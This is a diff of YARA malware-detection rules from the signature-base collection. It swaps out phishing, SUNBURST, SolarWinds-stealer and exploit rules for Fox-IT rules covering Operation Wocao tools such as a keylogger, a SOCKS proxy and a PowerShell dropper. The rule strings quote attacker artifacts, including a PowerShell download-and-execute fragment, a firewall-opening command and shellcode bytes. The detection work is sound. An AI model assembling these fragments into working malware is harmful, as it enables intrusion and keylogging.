+		id = "ca30dd6a-b596-54ab-b4f0-50e6b1382f73"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_phish_gina_dec15.yar#L8-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "db788d6d3a8ed1a6dc9626852587f475e7671e12fa9c9faa73b7277886f1e210"
-		logic_hash = "91fc1b4682c1490b916b11685e1ecc74a964d657e544c0b84e8301b299154d02"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L54-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b6eba750c96501aae1d86eef458d3e80de665efc7ce9d5aff842bc44363bad2"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "netsh.exe" fullword wide
-		$s2 = "routemon.exe" fullword wide
-		$s3 = "script=" fullword wide
-		$s4 = "disconnect" fullword wide
-		$s5 = "GetClusterResourceTypeKey" fullword ascii
-		$s6 = "QueryInformationJobObject" fullword ascii
-		$s7 = "interface" fullword wide
-		$s8 = "connect" fullword wide
-		$s9 = "FreeConsole" fullword ascii
+		$a = "vpshex.decode"
+		$b = "self._newsock.recv"
+		$c = "Rsock.connect"
+		$d = /MAX_DATALEN\s?=\s?10240/
+		$e = /LISTEN_MAXCOUNT\s?=\s?80/
+		$f = "ListenSock.listen(LISTEN_MAXCOUNT)"
+		$g = "nextsock.send(head)"
+		$h = "elif transnode"
+		$i = "infobuf[4:6]"
+		$key = "L\\x1bh\\x0bj\\x18\\tAZ6\\x1fV&*\\x03D}_\\x03{\\x07n\\x03w0pRBSg\\n*"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PHISH_02Dez2015_Dropped_P0O6543F_2 : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Py_B64Encoded
 {
 	meta:
-		description = "Phishing Wave used MineExplorer Game by WangLei - file p0o6543f.exe.4"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ed6f6dc8-5b5d-5a6f-a2a0-cb8a34c8931f"
-		date = "2015-12-03"
+		description = "Piece of Base64 encoded data from Agent Python version"
+		author = "Fox-IT SRT"
+		id = "eb2701e9-4358-5d24-bfcd-b4dde24f13bf"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_phish_gina_dec15.yar#L31-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f5eb21d0f635171e1edcfecc909bc3508dfb6c32e7fdd7263edd5cd98e6ba411"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L77-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "279fb27637d9b62b484283f778215d042de9fb83110a233e048452e921c540ee"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d6b21ded749b57042eede07c3af1956a3c9f1faddd22d2f78e43003a11ae496f"
-		hash2 = "561b16643992b92d37cf380bc2ed7cd106e4dcaf25ca45b4ba876ce59533fb02"
+		tags = ""
 
 	strings:
-		$s1 = "Email: W0067@990.net" fullword wide
-		$s2 = "MineExplorer Version 1.0" fullword wide
-		$s6 = "Copy Rights by WangLei 1999.4" fullword wide
+		$header = "QlpoOTFBWSZTWWDdHjgABDTfgHwQe////z/v/9+////6YA4cGPsAl2e8M9LSU128"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PHISH_02Dez2015_Attach_P_ORD_C_10156_124658 : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Keylogger_Py
 {
 	meta:
-		description = "Phishing Wave - file P-ORD-C-10156-124658.xls"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8989379a-6cd9-52ba-be18-5d402a440758"
-		date = "2015-12-02"
+		description = "Strings from Python keylogger"
+		author = "Fox-IT SRT"
+		id = "f7b5ec1b-669e-5e7d-a9d3-011d212eb363"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_phish_gina_dec15.yar#L49-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2820b024b371447eab71f153b6251776719cfe55e08cb2a3cda5ee6da29949d"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L91-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2dc2ce153d559d795f302f5ca4a9ef9e6e5c54762472e38e6f4a26ef8a28a184"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
-		hash2 = "e6c5b55586e9d99551adc27a0fc9c080cea6201fae60104b82d5a2ec518fafb6"
-		hash3 = "80f278b7268ea6814f8b336e07c5f4b03289519e199fbe4cbd9ef6a38cf25df6"
-		hash4 = "3a0a758525883a049a42312e46a023076c31af23b5e8e5b81fec56d51e4c80fb"
-		hash5 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
-		hash6 = "d9db7d32949c4df6a5d9d0292b576ae19681be7b6e0684df57338390e87fc6d6"
-		hash7 = "7bb705701ae73d377f6091515a140f0af57703719a67da9a60fad4544092ee6c"
-		hash8 = "e743c6e7749ab1046a2beea8733d7c8386ea60b43492bb4f0769ced6a2cee66d"
+		tags = ""
 
 	strings:
-		$s1 = "Execute" ascii
-		$s2 = "Process WriteParameterFiles" fullword ascii
-		$s3 = "WScript.Shell" fullword ascii
-		$s4 = "STOCKMASTER" fullword ascii
-		$s5 = "InsertEmailFax" ascii
+		$a = "c:\\windows\\temp\\tap.tmp"
+		$b = "c:\\windows\\temp\\mrteeh.tmp"
+		$c = "GenFileName"
+		$d = "outfile"
+		$e = "[PASTE:%d]"
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <200KB and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_APT_Fnv1A_Plus_Extra_XOR_In_MSIL_Experimental : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Keylogger_File
 {
 	meta:
-		description = "This rule detects the specific MSIL implementation of fnv1a of the SUNBURST backdoor (standard fnv1a + one final XOR before RET) independent of the XOR-string. (fnv64a_offset and fnv64a_prime are standard constants in the fnv1a hashing algorithm.)"
-		author = "Arnim Rupp"
-		id = "5505f7ff-eca5-5274-bdd1-dbbd648c3ccc"
-		date = "2020-12-22"
+		description = "Rule for finding keylogger output files"
+		author = "Fox-IT SRT"
+		id = "22e866b3-4b02-593a-b9a6-aa86870b6509"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_backdoor_sunburst_fnv1a_experimental.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6db212b21fec8d2c1b4cff9e32bdc027835ed660e7552b49f4418e7d0b35ca11"
-		score = 50
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L109-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6d2d677b69eaf31843e8352bfe040c9e5a8d423d17900e022b769d28789f2d98"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
-		hash2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
-		hash3 = "019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134"
+		tags = ""
 
 	strings:
-		$fnv64a_offset = { 25 23 22 84 e4 9c f2 cb }
-		$fnv64a_prime_plus_gap_plus_xor_ret = { B3 01 00 00 00 01 [8-40] 61 2A 00 00 }
+		$a = { 0d 0a 20 [3-10] 53 74 61 72 74 75 70 3a 20 [3] 20 [3] 20 [2] 20 [2] 3a [2] 3a [2] 20 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_EXT_APT_Bitter_Win32K_0Day_Feb21 : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Xserver_Csharp
 {
 	meta:
-		description = "Detects code that exploits a Windows 0day exploited by Bitter APT group"
-		author = "dbappsecurity_lieying_lab"
-		id = "b1892b52-4b94-5571-ad63-8750a321f1f2"
-		date = "2021-01-01"
+		description = "Strings from the CSharp version of XServer"
+		author = "Fox-IT SRT"
+		id = "48f4c88d-fb56-54ca-84e2-38f88804a50f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bitter.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "84a8d0ae14469eb6431e73295d821609c7a8b313630d645085ffd8faff6e5e43"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L123-L141"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1201ee45df78cf3aec4b4bbb59cb7e4a70af6928895bb7c968ef02075a963405"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$s1 = "NtUserConsoleControl" ascii wide
-		$s2 = "NtCallbackReturn" ascii wide
-		$s3 = "CreateWindowEx" ascii wide
-		$s4 = "SetWindowLong" ascii wide
-		$a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
-		$a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
-		$a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}
+		$a = "static void ServerX(int ListenPort)" ascii wide
+		$b = "public class xserver" ascii wide
+		$c = "[xserver]::Main($args);" ascii wide
+		$d = "add rule name=powershell dir=in localport=47000 action=allow" ascii wide
+		$e = "string TempFile = file_path + \".CT\";" ascii wide
+		$f = "Port = 256 * RecvBuf[AddrLen + 5] + RecvBuf[AddrLen + 6];"
+		$g = "CliSock.Send(new byte[] { 0x05, 0x00 });"
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) and 1 of ($a*)
+		1 of them
 }
-rule SIGNATURE_BASE_HKTL_Solarwinds_Credential_Stealer : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Xserver_Powershell_B64Encoded
 {
 	meta:
-		description = "Detects solarwinds credential stealers like e.g. solarflare via the touched certificate, files and database columns"
-		author = "Arnim Rupp"
-		id = "87dba889-367a-5fc3-b5e0-eb8e3c36a5e9"
-		date = "2021-01-20"
+		description = "Piece of Base64 encoded data from the XServer PowerShell dropper"
+		author = "Fox-IT SRT"
+		id = "01e38cfb-b245-5398-b037-6d1d2fb726ee"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/mubix/solarflare"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_solarwinds_credential_stealer.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b2e5186464ed0bdd38fcd9f4ab294a7ba28bd829bf296584cbc32e2889037e4"
-		hash = "4adb69d4222c80d97f8d64e4d48b574908a518f8d504f24ce93a18b90bd506dc"
-		logic_hash = "ccf55ba7b66ff8d0f926999f3d68dc3b2fdc1c9ce15e1f08b75d003c62393312"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L143-L155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77315f0fc8387fa87892fc8fcea1f6e8a95560049aaa9a87519859020d0a7a3e"
 		score = 75
-		quality = 51
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$certificate = "CN=SolarWinds-Orion" ascii nocase wide
-		$credfile1 = "\\CredentialStorage\\SolarWindsDatabaseAccessCredential" ascii nocase wide
-		$credfile2 = "\\KeyStorage\\CryptoHelper\\default.dat" ascii nocase wide
-		$credfile3 = "\\Orion\\SWNetPerfMon.DB" ascii nocase wide
-		$credfile4 = "\\Orion\\RabbitMQ\\.erlang.cookie" ascii nocase wide
-		$sql1 = "encryptedkey" ascii nocase wide fullword
-		$sql2 = "protectiontype" ascii nocase wide fullword
-		$sql3 = "CredentialProperty" ascii nocase wide fullword
-		$sql4 = "passwordhash" ascii nocase wide fullword
-		$sql5 = "credentialtype" ascii nocase wide fullword
-		$sql6 = "passwordsalt" ascii nocase wide fullword
+		$header_47000 = "5T39c9u2kr/nr2A0Ny2VKIzkfLRJntuJHafPN/nwWG777rUZDy3BNq8UqSEpx26b"
+		$header_25667 = "5T1rc9u2st/zKxjNmZZKFEZyErdJ6nZsx+nxnTjxWGp77mkzHlqCbd5SpIak/Gjr"
 
 	condition:
-		uint16(0)==0x5A4D and $certificate and (2 of ($credfile*) or 5 of ($sql*))
+		any of them
 }
-rule SIGNATURE_BASE_Fakem_Generic : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Xserver_Powershell_Dropper
 {
 	meta:
-		description = "Detects FakeM malware samples"
-		author = "Florian Roth (Nextron Systems)"
-		id = "51a285ce-a4cb-5068-b079-a8227690365f"
-		date = "2016-01-25"
-		modified = "2023-01-06"
-		reference = "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fakem_backdoor.yar#L8-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0ee606be48961d1e4c1fd9e0e10b53603cfd62cec652baef62f893c0a9e9684c"
-		score = 85
+		description = "Strings from the PowerShell dropper of XServer"
+		author = "Fox-IT SRT"
+		id = "97169ab4-d68d-5137-83de-d9cac975747e"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L157-L168"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "640c9e52f3cf3df4e954177624e6fba4bab80a2c9442b718fe90e8577dafbbd6"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "631fc66e57acd52284aba2608e6f31ba19e2807367e33d8704f572f6af6bd9c3"
-		hash2 = "3d9bd26f5bd5401efa17690357f40054a3d7b438ce8c91367dbf469f0d9bd520"
-		hash3 = "53af257a42a8f182e97dcbb8d22227c27d654bea756d7f34a80cc7982b70aa60"
-		hash4 = "4a4dfffae6fc8be77ac9b2c67da547f0d57ffae59e0687a356f5105fdddc88a3"
-		hash5 = "7bfbf49aa71b8235a16792ef721b7e4195df11cb75371f651595b37690d108c8"
-		hash6 = "12dedcdda853da9846014186e6b4a5d6a82ba0cf61d7fa4cbe444a010f682b5d"
-		hash7 = "9adda3d95535c6cf83a1ba08fe83f718f5c722e06d0caff8eab4a564185971c5"
-		hash8 = "3209ab95ca7ee7d8c0140f95bdb61a37d69810a7a23d90d63ecc69cc8c51db90"
-		hash9 = "41948c73b776b673f954f497e09cc469d55f27e7b6e19acb41b77f7e64c50a33"
-		hash10 = "53cecc0d0f6924eacd23c49d0d95a6381834360fbbe2356778feb8dd396d723e"
-		hash11 = "523ad50b498bfb5ab688d9b1958c8058f905b634befc65e96f9f947e40893e5b"
+		tags = ""
 
 	strings:
-		$a1 = "\\system32\\kernel32.dll" ascii
-		$a2 = "\\boot.lnk" ascii
-		$a3 = "%USERPROFILE%" fullword ascii
-		$b1 = "Wizard.EXE" fullword wide
-		$b2 = "CommandLineA" fullword ascii
-		$c1 = "\\system32\\kernel32.dll" ascii
-		$c2 = "\\aapz.tmp" ascii
-		$e1 = "C:\\Documents and Settings\\A\\" ascii
-		$e2 = "\\svchost.exe" ascii
-		$e3 = "\\Perform\\Release\\Perform.pdb" ascii
-		$f1 = "Browser.EXE" fullword wide
-		$f2 = "\\browser.exe" ascii
+		$encfile = "New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($encfile)"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and ( all of ($a*) or all of ($b*) or all of ($c*) or all of ($e*) or 1 of ($f*))
+		all of them
 }
-rule SIGNATURE_BASE_Invoke_Psimage : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Injector_Bin
 {
 	meta:
-		description = "Detects a command to execute PowerShell from String"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6abf53cd-6465-555b-a7d4-f5a917073f01"
-		date = "2017-12-16"
+		description = "Process injector/launcher"
+		author = "Fox-IT SRT"
+		id = "389279f1-6531-594f-97b6-5adbc8fa4d3d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/peewpw/Invoke-PSImage"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_invoke_psimage.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ce4bc73fcba3b82e4d11203aa2c3f0b2f85c6eb9e1784ad76a7b20500b4053f8"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L170-L193"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8cd4e3c87c6d80b39069f7a94e512e3f7b739c21f6fd70c2a79829c5a04f32f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$ = "IEX([System.Text.Encoding]::ASCII.GetString(" ascii wide
-		$ = "System.Drawing.Bitmap((a Net.WebClient).OpenRead(" ascii wide
-		$ = { 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
-            00 00 04 E4 00 00 03 A0 08 06 00 00 00 9D AF A9
-            E8 00 00 00 09 70 48 59 73 00 00 19 D6 00 00 19
-            D6 01 18 D1 CA ED 00 00 00 07 74 49 4D 45 07 E1
-            0C 0F 13 1E 36 89 C4 28 BF 00 00 00 07 74 45 58
-            74 41 75 74 68 6F 72 00 A9 AE CC 48 00 00 00 0C
-            74 45 58 74 44 65 73 63 72 69 70 74 69 6F 6E 00
-            13 09 21 23 00 00 00 0A 74 45 58 74 43 6F 70 79
-            72 69 67 68 74 00 AC 0F CC 3A 00 00 00 0E 74 45
-            58 74 43 72 65 61 74 69 6F 6E 20 74 69 6D 65 00
-            35 F7 0F }
+		$a = "%s{%04d-%02d%02d-%02d%02d-%d%ld}.tmp"
+		$b = "s% > s% c/ exe.d"
+		$c = {
+            48 89 5C 24 08 48 89 74  24 10 57 48 83 EC 50 48
+            8B 71 08 48 8D 59 10 48  8B F9 48 8B CB FF 17 33
+            C9 48 8D 47 78 48 89 44  24 48 4C 8D 87 9C 03 00
+            00 48 89 5C 24 40 48 8D  97 90 00 00 00 4C 89 44
+            24 38 45 33 C9 48 89 4C  24 30 45 33 C0 89 4C 24
+            28 C7 44 24 20 01 00 00  00 66 89 4B 40 FF D6 48
+            8B 5C 24 60 33 C0 48 8B  74 24 68 48 83 C4 50 5F
+            C3
+        }
 
 	condition:
-		filesize <3000KB and 1 of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Artradownloader2_Aug19_1 : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Timeliner_Bin
 {
 	meta:
-		description = "Detects ArtraDownloader malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0e688e92-2366-5f36-a32d-083982181eb7"
-		date = "2019-08-27"
+		description = "Timeliner utility"
+		author = "Fox-IT SRT"
+		id = "3d81a4ae-0ce0-5867-ac93-a706556481b6"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_patchwork.yar#L2-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c365c3d678c881eeb626b5d26e6164b473990387619337459ccdd8d9f0633b49"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L195-L213"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c3a8cddc34134faaab93ee0df0086604e4a7b031530dd65e2e8dab705483305b"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22"
+		tags = ""
 
 	strings:
-		$xc1 = { 47 45 54 20 25 73 20 48 54 54 50 2F 31 2E 30 00
-               0D 0A 00 00 48 6F 73 74 3A 20 25 73 00 00 00 00
-               3F 61 3D 00 26 62 3D 00 26 63 3D 00 26 64 3D 00
-               26 65 3D 00 25 32 30 }
-		$xc2 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
-               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 25 73 20
-               25 64 0D 0A 0D 0A 25 73 00 00 00 00 71 72 79 3D }
-		$xc3 = { 49 44 3D 25 73 00 00 00 3A 00 00 00 25 73 20 25
-               73 20 25 73 0D 0A 25 73 20 25 73 0D 0A 25 73 25
-               73 0D 0A 25 73 25 73 0D 0A 43 6F 6E 74 65 6E 74
-               2D 6C 65 6E 67 74 68 25 73 20 25 64 }
-		$xc4 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
-               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 43 6F 6E
-               74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 25 64 0D
-               0A 0D 0A 25 73 }
-		$x1 = "Tpguxbsf]Njdsptpgu" ascii
-		$x2 = ".gpsn.vsmfodpefe" ascii
+		$a = "[+] Work completed." ascii wide
+		$b = "[-] Create a new file failed." ascii wide
+		$c = "[-] This is not a correct path." ascii wide
+		$d = "%s [TargetPath] <Num> <SavePath>" ascii wide
+		$e = "D\t%ld\t%ld\t%ld\t%d\t%d\t%s\t" ascii wide
+		$f = "D\t%ld\t%ld\t%ld\t-1\t%d\t%s\t" ascii wide
+		$g = "%s\t%ld\t%ld\t%ld\t%I64d\t%d\t%s\t%s" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and 1 of them
+		1 of them
 }
-rule SIGNATURE_BASE_CVE_2014_4076_Exploitcode : CVE_2014_4076 FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Checkadmin_Bin
 {
 	meta:
-		description = "Detects an exploit code for CVE-2014-4076"
-		author = "Florian Roth (Nextron Systems)"
-		id = "83563dea-63d9-58a9-82ed-275455122571"
-		date = "2018-04-04"
+		description = "Checkadmin utility"
+		author = "Fox-IT SRT"
+		id = "2f819213-ade1-525b-af18-d77b7fc96093"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/yarGen"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2014_4076.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "96b8743de8b3968d64b74af93f5e61574a3b31d33df6d51e944b4f02c7b9723e"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L215-L232"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "784ec960ce2733aebc404ee5c09bb852eb45553ad167db292d05b82feedbd5a6"
 		score = 75
 		quality = 85
-		tags = "CVE-2014-4076, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "44690af85efef2db04c7e8cba7ca0d0e53be1a1432a339570a7d26eec860b8ee"
+		tags = ""
 
 	strings:
-		$x1 = "[+] Created a new cmd.exe process" fullword ascii
-		$x2 = "[+] Modified shellcode" fullword ascii
-		$x3 = "[*] Spawning SYSTEM shell..." fullword ascii
-		$x4 = "[*] MS14-070 (CVE-2014-4076) x86" fullword ascii
+		$a = "[-] %s * A system error has occurred: %d" ascii wide
+		$b = {
+            0D 00 0A 00 25 00 6C 00 64 00 20 00 72 00 65 00
+            73 00 75 00 6C 00 74 00 73 00 2E 00 0D 00 0A 00
+        }
+		$c = "%s\t<Access denied>" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 1 of them
+		1 of them
 }
-rule SIGNATURE_BASE_EXPL_CVE_2021_1647_Apr21_1 : CVE_2021_1647 FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Getos_Py
 {
